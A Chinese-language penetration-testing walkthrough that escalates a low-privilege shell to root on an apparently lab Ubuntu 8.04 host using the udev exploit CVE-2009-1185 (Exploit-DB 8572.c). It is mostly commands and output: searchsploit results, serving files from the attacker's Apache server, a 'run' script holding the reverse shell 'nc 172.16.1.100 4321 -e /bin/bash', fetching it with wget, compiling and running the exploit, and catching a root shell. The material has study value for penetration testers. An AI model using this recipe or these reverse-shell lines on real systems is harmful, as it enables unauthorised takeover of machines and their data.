内核提权
在linux系统漏洞利用过程中,最终目的是获取目标的root权限。在渗透过程中,有时利用某些漏洞可以获取一个低权限的用户,然后想办法提权,提升到root用户权限,从而控制整个系统。
在获取到低权限shell后,通常会检查操作系统的发行版本、内核版本,当前用户权限,列举Suid文件,系统安装包、进程、端口、服务,老版本的可能会有漏洞可以利用。
信息收集
我们将使用一个内核exp提权到root用户,先搜集靶机信息。由于已经获取到了一个 shell,执行uname –a命令来查看内核版本。
系统为Ubuntu8.0.4,内核版本为2.6.24。
查找能利用的exp ,kali自带本地版本的Exploit-DB库包含了各种exp和代码。
使用SearchSploit来访问这个exp库:
root@stanley:~# searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23 | exploits/linux_x86/local/42276.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escala | exploits/linux/local/160.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Es | exploits/linux/local/22362.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Es | exploits/linux/local/22363.c
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Pr | exploits/linux/local/9844.py
Linux Kernel 2.4.32/2.6.0 - 'do_mremap()' Bound Checking Privilege E | exploits/linux/local/145.c
Linux Kernel 2.4.30/2.6.11.5 - Bluetooth 'bluez_sock_create' Local P | exploits/linux/local/25289.c
Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local | exploits/linux/local/19933.rb
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / REHL 4.8/5.3 / SuSE 10 SP | exploits/linux/local/9545.c
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Pri | exploits/linux/local/926.c
Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3) | exploits/linux/local/895.c
Linux Kernel 2.4.x/2.6.x - Bluetooth Signed Buffer Index Privilege E | exploits/linux/local/25288.c
Linux Kernel 2.4/2.6 (Fedora 11) - 'sock_sendpage()' Local Privilege | exploits/linux/local/9598.txt
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox | exploits/linux/local/9479.c
Linux Kernel 2.4/2.6 (x86-64) - System Call Emulation Privilege Esca | exploits/linux_x86-64/local/4460.c
使用8572.c这个exp,它利用了UDEV设备管理器中的一个漏洞,允许通过未经验证的Netlink消息来执行代码。
复制exp位置,locate查找完整的路径:
root@stanley:~# locate linux/local/8572.c
/usr/share/exploitdb/exploits/linux/local/8572.c
root@stanley:~#
查看该文件,查看关于exp的详细信息:
* cve-2009-1185.c
*
* udev < 1141 Local Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cvemitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
*
* udev before 1.4.1 does not verify whether a NETLINK message originates
* from kernel space, which allows local users to gain privileges by sending
* a NETLINK message from user space.
*
* Notes:
*
* An alternative version of kcope's exploit. This exploit leverages the
* 95-udev-late.rules functionality that is meant to run arbitrary commands
* when a device is removed. A bit cleaner and reliable as long as you
* distro ships that rule file.
*
* Tested on Gentoo, Intrepid, and Jaunty.
*
* Usage:
*
* Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
* usually is the udevd PID minus 1) as argv[1].
*
* The exploit will execute /tmp/run as root so throw whatever payload you
* want in there.
exp上传到靶机中
最简单的方法就是在本地kali中搭建apache,把exp放在本地服务器上从靶机连接到这个服务器下载exp。
确保服务器已在kali上启动并运行,在终端中执行service apache2 restart命令。
在服务器文件目录下建立exp所在位置的符号链接:
ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/
exp将在靶机的/tmp目录下运行,创建一个将要执行的文件。在kali上执行nano /var/www/html/run创建一个文件输入以下内容:
#! /bin/bash
nc 172.16.1.100 4321 -e /bin/bash
当这个文件执行时它会使用nc去连接kali的4321端口并生成一个 shell。
执行的时候敲 Ctrl-X, Y, 和 Enter 进行保存。将exp上传到靶机。
回到低权限shell切换到/tmp目录下,使用wget命令连接到kali上运行的服务器,然后将文件上传到靶机。
cd /tmp
wget http://172.16.1.100/run
--15:18:31-- http://172.16.1.100/run
=> 'run'
Connecting to 172.16.1.100:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46
OK 100% 978.43 KB/s
15:18:31 (978.43 KB/s) - 'run' saved [46/46]
wget http://172.16.1.100/local/8752.c
--15:19:24-- http://172.16.1.100/local/8572.c
=> '8572.c'
Connecting to 172.16.1.100:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,876 (2.8K) [text/x-csrc]
OK 100% 100.46 MB/s
编译执行
exp文件上传到靶机上了,下一步就是执行exp。
exp文件是c语言编写的,需把它编译成可执行文件:
gcc -o exploit 8572.c
如果没有找到ld动态链接器,需要使用-B参数来指定链接器的位置:
gcc -B /usr/bin -o exploit 8572.c
查看可执行文件是否已经成功编译:
gcc -o exploit 8572.c
collect2: cannont find 'ld'
gcc -B /usr/bin -o exploit 8572.c
ls
4674.jsvc_up
8572.c
exploit
jVswA
mhbkk
run
在8572.c文件的文档中说明,找到Netlink套接字的pid,这个pid通常比udevd的pid小1。
使用cat /proc/net/netlink查看pid,唯一非0的pid就是我们要的。
ps aux | grep udev 来查看udevd的pid,它应该比刚才的数字大1:
cat /proc/net/netlink
sk Eth Pid Groups Rmem Wmem Dump Locks
celb4800 0 0 00000000 0 0 00000000 2
cf87fa00 4 0 00000000 0 0 00000000 2
cd678000 7 0 00000000 0 0 00000000 2
cdc4bc00 9 0 00000000 0 0 00000000 2
cdc09c00 10 0 00000000 0 0 00000000 2
ce1bc400 15 0 00000000 0 0 00000000 2
cf8dee00 15 2459 00000000 0 0 00000000 2
cd394800 16 0 00000000 0 0 00000000 2
cd5f6200 18 0 00000000 0 0 00000000 2
ps aux | grep udev
root 2460 0.0 0.2 2216 648 ? S<s 14:42 0:01 /sbinudevd --daemon
接下来在kali中设置监听器,当脚本执行时我们就能捕获shell。
在kali上执行nc –lvp 4321命令来监听入站连接。
监听器是开着的,接下来可以进行漏洞利用了。
要把Netlink的pid(2459)作为参数传递过去,在低权限shell中执行下面的命令:
./exploit 2459
nc监听器获取到了一个新的连接会话,输入whoami命令来查看用户信息,可以发现我们已经获取到了root权限,然后Do what you want。
root@stanley:~# nc -lvp 4321
listening on [any] 4321 ...
172.16.1.102: inverse host lookup failed: Unknown host
connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 34418
id
uid=0(root) gid=0(root)
whoami
root